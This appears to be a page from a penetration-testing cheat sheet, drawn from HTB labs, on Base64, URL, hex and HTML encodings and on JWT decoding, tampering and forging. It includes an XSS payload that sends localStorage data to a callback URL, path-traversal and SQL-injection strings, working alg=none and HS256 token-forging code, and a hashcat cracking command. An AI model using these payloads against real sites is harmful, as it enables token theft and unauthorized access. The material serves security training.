Skip to content
Encodings

Encodings

Base64, URL, hex and HTML codecs, nested payload strings, and JWT decode, tampering, and forge.

Base64 encode / decode (+ UTF-16-LE)

Base64 converts bytes into printable ASCII characters. It is an encoding rather than encryption: decoding requires no key. Standard Base64 uses + and /; URL-safe Base64 replaces them with - and _ so the result can be placed more safely in URLs and tokens.

import base64

raw_bytes = b"data"
encoded_bytes = base64.b64encode(raw_bytes)
encoded_text = encoded_bytes.decode()

decoded_bytes = base64.b64decode(encoded_text)
decoded_text = decoded_bytes.decode()

urlsafe_bytes = base64.urlsafe_b64encode(raw_bytes)
urlsafe_text = urlsafe_bytes.decode()

powershell_command = "whoami"
powershell_bytes = powershell_command.encode("utf-16-le")
powershell_encoded_bytes = base64.b64encode(powershell_bytes)
powershell_encoded = powershell_encoded_bytes.decode()

b64encode() and b64decode() operate on bytes. .decode() converts the resulting ASCII bytes into a Python string. PowerShell’s encoded-command input expects the original command as UTF-16 little-endian bytes before Base64 encoding.

Find by: base64, encode, decode, b64encode, b64decode, utf-16-le, powershell, urlsafe, bytes, string · Source: PG/Monster

URL encode / double-encode

Percent encoding represents a byte as % followed by two hexadecimal digits. quote(..., safe="") encodes reserved URL characters, while quote_plus() also represents a space as +, matching form-style query encoding. Double encoding applies the same transformation twice, so %2F becomes %252F because the % character is encoded during the second pass.

from urllib.parse import quote, quote_plus, unquote, urlencode

input_path = "a b/c?d"
encoded_path = quote(input_path, safe="")

traversal_path = "../etc"
encoded_once = quote(traversal_path, safe="")
encoded_twice = quote(encoded_once, safe="")

form_value = quote_plus("a b")
decoded_path = unquote("%2Fetc%2Fpasswd")

query_parameters = {
    "q": "' or 1=1",
    "p": 2
}
query_string = urlencode(query_parameters)

Find by: url encode, urlencode, quote, percent encoding, double encoding, unquote, plus, waf bypass, special chars, escape

Triple-quoted f-string for nested payloads

Triple-quoted f-strings allow single quotes and double quotes inside the same Python string without escaping them. The f prefix still interpolates Python values, while JavaScript backticks remain literal.

callback_url = "<CALLBACK_URL>"
payload = f"""<img src=x onerror='fetch("{callback_url}/?data=" + encodeURIComponent(btoa(localStorage.getItem(`<KEY>`))))'>"""

callback_url is inserted into the payload by Python. The remaining quote types retain their JavaScript and HTML meanings.

Find by: python, string, triple quote, triple quoted string, f-string, nested quotes, payload quoting, javascript payload, xss · Source: HTB/FeedbackFlux

Hex & HTML-entity encode / decode

Hexadecimal encoding represents each byte as two characters from 0-9a-f. bytes.fromhex() and binascii.unhexlify() both convert that text back into bytes, after which .decode() can interpret the bytes as text.

HTML entity encoding represents syntax characters with forms such as &lt; and &gt;. html.escape() creates those representations and html.unescape() reverses them. Python’s unicode_escape codec represents non-printable or non-ASCII characters with Python-style escape sequences where required.

import binascii
import html

plain_text = "hello"
plain_bytes = plain_text.encode()
hex_text = plain_bytes.hex()

decoded_hex_bytes = bytes.fromhex(hex_text)
decoded_hex_text = decoded_hex_bytes.decode()

unhexlified_bytes = binascii.unhexlify(hex_text)
unhexlified_text = unhexlified_bytes.decode()

html_source = "<script>"
escaped_html = html.escape(html_source)
unescaped_html = html.unescape("&lt;b&gt;")

unicode_text = "A"
unicode_escape_bytes = unicode_text.encode("unicode_escape")

Find by: hex, hexlify, bytes fromhex, binascii, unhexlify, xxd, exfil decode, oob output, html entities, html escape, unescape, ampersand, encode, decode, xss, unicode escape

JWT — decode header & payload (no verify)

A compact JSON Web Token contains three dot-separated text segments:

<BASE64URL_HEADER>.<BASE64URL_PAYLOAD>.<BASE64URL_SIGNATURE>

The header is a JSON object describing token metadata such as the signing algorithm. The payload is a JSON object containing claims, which are named pieces of application data such as a user identifier or role. The signing input is the exact text <BASE64URL_HEADER>.<BASE64URL_PAYLOAD>. A signing algorithm and key produce the signature bytes stored in the third segment. Verification checks those bytes with the server’s expected key and fails if either encoded JSON segment was modified.

Base64url decoding only reads the JSON; it does not verify the signature or prove who created the token. JWT segments commonly omit trailing = padding, so the decoder restores enough padding to make the segment length a multiple of four.

import base64
import json

def b64url_decode(segment):
    padding = "=" * (-len(segment) % 4)
    padded_segment = segment + padding
    decoded_segment = base64.urlsafe_b64decode(padded_segment)
    return decoded_segment

def jwt_decode(token):
    header_segment, payload_segment, signature_segment = token.split(".")
    decoded_header = b64url_decode(header_segment)
    decoded_payload = b64url_decode(payload_segment)
    header = json.loads(decoded_header)
    payload = json.loads(decoded_payload)
    decoded_token = (header, payload)
    return decoded_token

header, payload = jwt_decode(TOKEN)
print(header, payload)

Find by: jwt, json web token, decode, header, payload, claims, base64url, inspect, alg, none, gap, bearer

JWT — tamper claims when the server only decodes

This flaw exists when application code decodes JWT claims and uses them for authorization without first verifying the signature. Decoding answers what the token claims; signature verification determines whether a trusted signer created those exact claims.

Vulnerable server pattern

const payload = jwt.decode(token);

if (payload.role === "admin") {
    // privileged operation
}

The server-side jwt.decode() call shown above reads the claims but does not prove that the token was signed with the expected key. PyJWT can therefore read the original token without validation, modify the required claim, and create another correctly formatted token:

import jwt

def tamper_jwt(token):
    payload = jwt.decode(token, options={"verify_signature": False})
    payload["<CLAIM>"] = "<VALUE>"
    tampered_token = jwt.encode(payload, "<ARBITRARY_KEY>", algorithm="HS256")
    return tampered_token

tampered_token = tamper_jwt(TOKEN)

jwt.encode() still creates an HS256 signature, but its key can be arbitrary only because the vulnerable server never checks that signature. Signature verification with the expected key would reject the modified header and payload.

Find by: jwt, pyjwt, tamper jwt, modify claims, verify_signature false, decode without verify, jwt decode instead of verify, arbitrary signing key, privilege escalation · Source: HTB/TheMagicInformer

JWT — forge (alg=none & HS256 resign)

Two different conditions permit token forgery.

With an alg: none flaw, the verification path accepts a token declaring that it has no signature. The token retains the trailing dot that separates the empty signature segment. Merely placing none in the attacker-controlled header is insufficient; the server or JWT library configuration must actually permit unsigned tokens.

With HS256, the signature is a hash-based message authentication code calculated from the encoded header and payload using one shared secret. A leaked or guessable secret permits arbitrary claims to be encoded and signed. Guessing is performed offline because each candidate signature can be compared with the signature already present in a captured token.

import base64
import json
import hmac
import hashlib

def b64url(value):
    if isinstance(value, str):
        raw_bytes = value.encode()
    else:
        raw_bytes = value
    encoded_bytes = base64.urlsafe_b64encode(raw_bytes)
    encoded_bytes = encoded_bytes.rstrip(b"=")
    encoded_value = encoded_bytes.decode()
    return encoded_value

def forge_none(claims):
    header_json = json.dumps({"alg": "none", "typ": "JWT"})
    payload_json = json.dumps(claims)
    encoded_header = b64url(header_json)
    encoded_payload = b64url(payload_json)
    token = f"{encoded_header}.{encoded_payload}."
    return token

def forge_hs256(claims, secret):
    header_json = json.dumps({"alg": "HS256", "typ": "JWT"})
    payload_json = json.dumps(claims)
    encoded_header = b64url(header_json)
    encoded_payload = b64url(payload_json)
    secret_bytes = secret.encode()
    message = f"{encoded_header}.{encoded_payload}"
    message_bytes = message.encode()
    signature = hmac.new(secret_bytes, message_bytes, hashlib.sha256)
    signature_bytes = signature.digest()
    encoded_signature = b64url(signature_bytes)
    token = f"{encoded_header}.{encoded_payload}.{encoded_signature}"
    return token

claims = {
    "user": "admin",
    "role": "admin"
}
forged_token = forge_hs256(claims, "secret")
print(forged_token)

Hashcat mode 16500 tests candidate HS256 secrets against a captured JWT:

hashcat -m 16500 token.jwt rockyou.txt

Find by: jwt, forge, alg none, hs256, resign, secret, sign, privilege escalation, admin, tamper, weak key, gap, crack